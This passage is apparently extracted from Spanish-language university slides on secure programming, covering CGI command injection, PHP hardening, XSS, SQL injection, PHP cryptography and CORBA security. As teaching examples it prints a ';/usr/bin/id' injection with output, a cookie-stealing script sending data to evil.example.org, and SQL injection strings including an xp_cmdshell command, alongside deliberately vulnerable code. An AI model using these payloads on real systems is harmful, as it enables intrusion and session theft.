#!/usr/bin/perl print "Content-type:text/html\n\n"; print <<EndOfHTML; <html><head><title>Print Environment</title></head> <body> EndOfHTML $HOST=$ENV{"QUERY_STRING"}; $HOST=~ s/%(..)/pack("c",hex($1))/ge; print "Resolviendo Dominio $HOST"; system("/usr/bin/nslookup $HOST"); print "<br></body></html>";
![Page 61: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/61.jpg)
El usuario como atacante podría introducir un carácter que fuera interpretado de una forma especial por la shell.
Ejemplos de tales caracteres son : ; (separa 2 comandos distintos) | (pipe) &, etc. Para explotar este ejemplo utilizaremos ;. En UNIX el ; sirve para ejecutar 2 comandos distintos en una misma línea. Por ejemplo echo hola; echo mundo sacaría por pantalla hola mundo. Veamos que sucede si introducimos un ; http://victima.com/cgi-bin/nslookup.cgi?falsodominio;/usr/bin/id
Salida: Resolviendo Dominio falsodominio;/usr/bin/idServer: ganimedes Address: 172.26.0.5#53 ** server can't find falsodominio: NXDOMAIN uid=33(www-data) gid=33(www-data) groups=33(www-data)
![Page 62: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/62.jpg)
• Usarlas para determinar lo que es válido• Lo que no encaje, es invalido• Casi todos los lenguajes incluyen bibliotecas• Hay ligeras diferencias• Podemos utilizar expresiones regulares para aceptar lo que esté permitido. Ejemplo:
• El fichero debe estar en c: o d:• El camino contiene una serie de barras invertidas y caracteres alfanuméricos• El nombre va detrás del camino, es alfanumérico, de 32 caracteres como máximo, seguido de un punto y termina con txt, gif, jpg
Expresiones regulares
ˆ[cd]:(?:\\\w+)+\\\w{1,32}\.(txt|jpg|gif)$
![Page 63: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/63.jpg)
Asegurando PHP
Default php.ini < V.4.8; WARNING ;; This is the default settings file for new PHP installations.; By default, PHP installs itself with a configuration suitable for; development purposes, and *NOT* for production purposes.
Actualizar instalaciones Hay mucha vulnerabilidades en el archivo de
configuración (GLOBAL_VARS, SESSIONS, etc)
![Page 64: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/64.jpg)
Configuraciones para asegurar PHP
display_errors = Off (turn on with ini_set or .htaccess)log_errors = Onerror_reporting = E_ALL (better error reporting)session.save_path=/opt/php/session session.gc_maxlifetime=600
(ten minutes of inactivity)safe_mode = On (enable if possible)safe_mode_gid = On (enable if possible)
![Page 65: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/65.jpg)
Más configuraciones
register_globals = Off Never turn on Too easy to write insecure code Auto initializes variables from Get/Post/Cookie data
URL= index.php?administrator=xyz<?php
if (isset($administrator)){ $authorized = true;}?>
![Page 66: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/66.jpg)
Eliminar Javascript y reducir ataques XSS
Use preg_replace() on …
javascript: onclick ondblclick onmousedown onmouseup onmouseover onmousemove onmouseout onkeypress onkeydown onkeyup
![Page 67: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/67.jpg)
Register Globals
Está deshabilitado por defecto en PHP superiores a la 4.2, no representa una vulnerabilidad pero si un riesgo
Se debería trabajar register_globals deshabilitado
<?phpif (authenticated_user()){
$authorized = true;}if ($authorized){
include '/highly/sensitive/data.php';}
?>
Con register_globals habilitado, esta página puede ser llamada con ?authorized=1 en la cadena de consulta y se puede hacer un bypass para este acceso.
![Page 68: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/68.jpg)
•Asegurar que el filtro de datos no puede ser saltado•Asegurar que los datos inválidos no puede interpretados como datos válidos•Identificar los datos de origen
El Método de despacho
![Page 69: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/69.jpg)
El Método include
![Page 70: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/70.jpg)
Filtros
![Page 71: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/71.jpg)
![Page 72: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/72.jpg)
Reporte de Errores
error_reportingEsta directiva configura el nivel de reporte de errores, es recomendado habilitarlo como E_ALL tanto para ambientes de desarrollo como de producción
display_errorsCuales errores deben ser mostrados en la pantalla. (ON: Para desarrollo OFF: para Producción)
log_errorsQué errores deben ser escritos en un archivo de logs. Debe estar en ON
error_logIndica la localización de los archivos de logs.. Revisar permisos!!!!
![Page 73: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/73.jpg)
Posible Spoofing desde el procesamiento de Forms
http://www.atacame.com/form.html:
<form action="/process.php" method="post"><select name="color"><option value="red">red</option><option value="green">green</option><option value="blue">blue</option></select><input type="submit" />
</form>
<form action="http://www.atacame.com/process.php"method="post"><input type="text" name="color" /><input type="submit" />
</form>
![Page 74: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/74.jpg)
Cross-Site Scripting
Explotar la confianza que un usuario tiene sobre un sitio
Generalmente en WebSites que muestran datos remotos
Si se muestra el contenido que proviene desde una fuente remota son los filtros apropiados, se puede tener una vulnerabilidad de XSS.Los datos remotos no son solo variables que vienen desde el cliente, puede serlo un banner, email, syndicated blog.
![Page 75: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/75.jpg)
<form><input type="text" name="message"><br /><input type="submit"></form><?phpif (isset($_GET['message'])){$fp = fopen('./messages.txt', 'a');fwrite($fp, "{$_GET['message']}<br />");fclose($fp);}readfile('./messages.txt');
?>
Ejemplo de un message board:
![Page 76: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/76.jpg)
Este mensaje adiciona <br/> a cualquier entrada del usuario, y anexa esto a un archivo, luego muestra el contenido del archivoSi el usuario ingresa:
<script>document.location ='http://evil.example.org/steal_cookies.php?cookies=' +document.cookie
</script>
El siguiente usuario que visite el message board con JavaScript habilitado es redirigido a evil.example.org, y cualquier cookie asociada con el sitio actual es incluida en la cadena de consulta del URL. Aquí todo está a la imaginación del atacante
![Page 77: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/77.jpg)
•Filtrar los datos externos•Usar funciones existentes como:
htmlentities(),strip_tags(), y utf8_decode()
Disminuir los riesgos XSS
![Page 78: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/78.jpg)
Interacción con bases de datos….Generalmente se utilizan conexión a SMBD usando credenciales para autenticación:
Exponer las credenciales de Acceso
<?php$host = 'example.org';$username = 'myuser';$password = 'mypass';$db = mysql_connect($host, $username, $password);
?>
![Page 79: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/79.jpg)
Buena práctica utilizar módulos….
/path/to/secret-stuff, que solamente root pueda ( NO nobody) :SetEnv DB_USER "myuser"SetEnv DB_PASS "mypass"Incluir este archivo dentro del httpd.conf :Include "/path/to/secret-stuff"Ahora puede usarse desde PHP $_SERVER['DB_USER'] y $_SERVER['DB_PASS'] en el código.
No solamente no hay que volver a escribir el username y el password en los scripts, también el WebServer no puede leer el archivo secret-stuff, así que otros usuarios no pueden escribir scripts que lean las credenciales de acceso; obviamente estas variables no pueden quedar expuestas en phpinfo() o print_r($_SERVER).
![Page 80: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/80.jpg)
HTTP no tiene estado, no hay relación entre peticiones sucesivas de los clientes • Las ‘cookies’ se introdujeron para proporcionar una forma de obtenerlo•No solucionan completamente el problema:
• Tamaño limitado• Manejadas por el cliente• Los objetos de sesión son conjuntos de variables en el lado del servidor que mantienen información sobre el estado• Ahora hace falta asociarlas con el usuario: elidentificador de sesión (session id)
Sesiones
![Page 81: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/81.jpg)
• Si un usuario es capaz de conseguir el identificador de usuario de otro, tendremos problemas• ¿Cómo?
• Adivinarla, calcularla, fuerza bruta, pruebay error• XSS• Referers• Husmeadores (packet sniffing)
Robo de sesiones
![Page 82: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/82.jpg)
Sesiones
El identificador de la sesión puede ser una pieza importante para el atacanteHay 3 formas de obtener este ID:
1. Prediction2. Capture3. Fixation
Prediction Consiste en adivinar el identificador de la sesión.
Capturar una sesión válida es el tipo más común de ataques. Muchas de los ID’s de las sesiones son propagados en cookies o variables GET
Fixation es un método simple de obtener un ID válido de sesión. Con los métodos session_start() se puede abrir la vulnerabilidad
![Page 83: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/83.jpg)
<?php $msg = “Mensaje a cifrar"; $enc_msg = md5($msg); print "hash2: $enc_msg <br /><br />";
?>
McryptEs una librería criptográfica que implementa más de 22 algoritmos de bloque
Blowfish RC2 Safer-sk64 xteaCast-256 RC4 Safer-sk128DES RC4-iv SerpentEnigma Rijndael-128 ThreewayGost Rijndael-192 TripleDESLOKI97 Rijndael-256 TwofishPanama Saferplus Wake
Criptografía en PHP
![Page 84: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/84.jpg)
<?php
$string = “Mensaje de Prueba.";
//Llave para encriptar$key = “Llave para encriptar";
// Algoritmo Encripción$cipher_alg = MCRYPT_RIJNDAEL_128;
// Encrypt $string$encrypted_string = mcrypt_encrypt($cipher_alg, $key, $string, MCRYPT_MODE_CBC, $iv);
// Convertir a hexadecimal y mostrar la salida en un browserprint “Cadena cifrada: ".bin2hex($encrypted_string)."<p>";
?>
![Page 85: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/85.jpg)
<?php $hash_alg = MHASH_SHA; $message = “Mensaje Prueba."; $hashed_message = mhash($hash_alg, $message); print “El mensaje hash es: ". bin2hex($hashed_message);
?>
Es una librería que provee soporte para 12 algoritmos hashCRC32, HAVAL160,MD5,CRC32B…. SHA1……TIGER
http://www.phpclasses.org/browse/class/20.html
Mhash
![Page 86: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/86.jpg)
•AzDGCrypt
• AzDGPasswordGenerator
• BmpCrypt
• Crypt Class
•Cryptography •Symmetric Block Cipher Using Binary XOR
•ctlCipherSaber
Clases en PHP
•Encrypt MD5 64
•Encryption&&Decryption with Rijndael 256
•SSH && SSL in PHP
![Page 87: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/87.jpg)
Seguridad en Seguridad en aplicaciones Webaplicaciones Web
![Page 88: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/88.jpg)
Aplicaciones Web
Cuando se instalen aplicaciones web libres siempre estar atento a las advertencias de seguridad
Matener un backup de las bases de datos Estar familiarizado sobre como actualizar la aplicaciones Usar modo seguro en lo posible
![Page 89: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/89.jpg)
Seguridad en SQLSeguridad en SQL
![Page 90: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/90.jpg)
Ataque contra un Gestor de Bases de Datos Relacional que aprovecha la vulnerabilidad de una aplicación cliente del mismo.
Dicha vulnerabilidad consiste en permitir mandar instrucciones SQL adicionales a partir de un campo o un parámetro de entrada - por lo que se dice han sido "inyectadas".
SQL Injection
![Page 91: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/91.jpg)
El ataque "SQL Injection" es posible dadas ciertas características del lenguaje- SQL que lo dotan de flexibilidad:
• Poder embeber comentarios en una sentencia SQL •Poder escribir varias sentencias SQL juntas y ejecutarlas en bloque. •Poder realizar consultas de metadatos por medio de "tablas de sistema".
SQL Injection
![Page 92: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/92.jpg)
Una aplicación de acceso a datos que emplea entradas de usuario como parámetros de una consulta SQL común. Es típico que este tipo de consultas sean construidas dinámicamente utilizando sentencias SQL con concatenación de variables, al estilo:
SQL Injection
"SELECT campo1, campo2,..., campoN FROM tablaXWHERE campo1=" + mValor [+ ...]
![Page 93: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/93.jpg)
Donde mValor esta dado por una entrada de usuario.
Son éstas entradas las puertas a un SQL Injection ya que, dependiendo del tipo de dato de mValor, si en lugar de la entrada esperada se coloca:
SQL Injection
a) ' Or 1=1 -- b) 0 Or 1=1 -- c) #01/01/01# Or 1=1 --
"SELECT campo1, campo2,..., campoN FROM tablaXWHERE campo1='' Or 1=1 -- lo que siga no importa"
![Page 94: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/94.jpg)
Lo que se consigue es de hacer válida la consulta al añadir una clausula OR que siempre será cierta (1=1) así como de obligar al intérprete SQL a omitir el resto de la sentencia SQL original al introducir el guión doble (--) que le indica que lo subsiguiente es un comentario.
El atacante puede, por ejemplo, tener acceso a la aplicación sin necesidad de contar con las credenciales adecuadas.
SQL Injection
' UNION SELECT id, name, '', 0,'' FROM sysobjects WHERE xtype='U' --
'; EXEC xp_cmdshell 'net stop sqlserver', no_output
![Page 95: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/95.jpg)
Existen ciertos principios a considerar para proteger nuestras aplicaciones de un SQL Injection:
•No confiar en la entrada del usuario. •No utilizar sentencias SQL construidas dinámicamente. •No utilizar cuentas con privilegios administrativos. •No proporcionar mayor información de la necesaria.
Protecciones SQL Injection
![Page 96: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/96.jpg)
Escapar los Datos
Usar mysql_escape_string() addslashes()
String s = inputSQLs = inputSQL.Replace("'", "''")s = s.Replace("[", "[[]")s = s.Replace("%", "[%]")s = s.Replace("_", "[_]")
Private Function string SafeSqlLiteral( _ByVal inputSQL As String) As StringReturn inputSQL.Replace("'", "''")End Function'...Dim safeSQL As String = SafeSqlLiteral(Login.Text)Dim myCommand As SqlDataAdapter = _New SqlDataAdapter("SELECT au_lname, au_fname " & _"FROM authors WHERE au_id = '" & safeSQL & "'", _myConnection)
![Page 97: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/97.jpg)
Seguridad en CORBA
![Page 98: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/98.jpg)
• Al igual que todas las especificaciones de la OMG, la de CORBAsec es larga y tediosa
• Un agente usuario de Corba debe presentar sus credenciales, es decir, sus atributos de seguridad:
•Identificación•Privilegios
•Se maneja el concepto de dominios de seguridad y de políticas de seguridad
CorbaSec : algunos principios
![Page 99: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/99.jpg)
![Page 100: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/100.jpg)
Otros aspectos inherentes a seguridad en sistemas distribuidos:
•Seguridad al nivel de granularidad de los objetos• Delegación• Definición de dominios de seguridad que no corresponden con dominios de administración de sistemas (jerarquías, federaciones)• Interoperabilidad con otros sistemas de objetos (DCOM, EJB)• Si las aplicaciones incluyen acciones relacionadas con seguridad o no.
Otros aspectos de CORBASec
![Page 101: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/101.jpg)
•Las propuestas de la OMG para proveer seguridad en Corba se centran en definir mecanismos para el acceso seguro a objetos
• La necesidad de proteger todo tipo de información (no sólo la que se provee por medio del modelo de objetos distribuidos) hace necesario pensar en protecciones más generales
• Estos mecanismos de protección general afectan la implantación y el desempeño de sistemas distribuidos
Seguridad a todo nivel
![Page 102: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/102.jpg)
•En un esquema cliente/servidor la conexión es iniciada siempre por el cliente, usando sockets directamente, RPC, RMI, etc.
•En Corba, al ser un conjunto de objetos distribuidos interoperando libremente, el cliente y el servidor pueden intercambiar roles dinámicamente al momento de establecer cada conexión se debe localizar el objeto referenciado, resultando en operaciones de consulta a servidores de nombres
Sistemas de objetos distribuidos
![Page 103: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/103.jpg)
•IIOP: Internet Inter ORB Protocol• IIOP = GIOP (+ CDR) + TCP/IP• Se define una estructura de localización en Internet, llamada IOR (Internet Object Reference)•Los tipos de mensaje definidos están mapeados en funciones que realizan el envío sobre TCP/IP, típicamente usando la interfaz de sockets•No se define un puerto “bien conocido” para el servidor, más bien se establece que puede haber varios servidores en el mismo “host”•IIOP puede ir codificado sobre SSL
Implementación de llamadasCORBA: IIOP
![Page 104: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/104.jpg)
-Especificado en CORBAsec
-Define extensiones a IIOP que lo hacen“consciente” de aspectos de seguridad
-El protocolo incluye aspectos de autentificación basado en credenciales, para estableces asociaciones
- El tráfico se encripta en una subcapa del protocolo SECIOP llamada GSSAPI, por lo que no se requiere de SSL debajo
IIOP seguro: SECIOP
![Page 105: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/105.jpg)
- IIOP/SSL tiene un mayor nivel de difusión,debido a que SSL es una tecnología madura
- SECIOP permite autentificar a nivel de objetos,SSL a nivel de conexión
- En casos en que el acceso a cada objeto va por unaconexión separada, ambos ofrecen el mismo poder
- En caso de hacer tunneling debido, por ejemplo, a restricciones de NAT, SECIOP sigue manteniendo la granularidad a nivel de objetos, SSL no
SECIOP vs. IIOP/SSL
![Page 106: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/106.jpg)
Conclusiones
Extensión del rol de la seguridad
Revisión de las arquitecturas, APIS, Frameworks, clases, paquetes….
Conciencia del “buen” programador
Reutilización de componentes de seguridad (Autenticación, Criptografía, Certificados, Firmas …)
Entornos privativos y Libre ofrecen soporte para aplicaciones seguras.
NO olvidar manejo de memoria, pilas, buffers……
![Page 107: Programación Segura Gustavo A. Isaza Echeverry Seguridad Informática – Programa de Ingeniería de Sistemas y Computación Universidad de Caldas.](https://reader030.fdocuments.co/reader030/viewer/2022020921/5534a21355034643548b4b28/html5/thumbnails/107.jpg)
• Java Cryptography Architecture. API Specifications & Reference, http://java.sun.com/products/jdk/1.1/docs/guide/security/CryptoSpec.html
• Jan Kleindienst. CORBA and Java Compared: Security. Dept. of Computer Science,Faculty of Mathematic and Physic,Charles University, Prague
• The Open Web Application Security Project http://www.owasp.org/
• SecurityFocus http://www.securityfocus.org/
• Help Net Security http://www.net-security.org/
• Secure Coding http://www.securecoding.org/list/
• WEB APPLICATION SECURITY www.securityfocus.com/archive/107
Referencias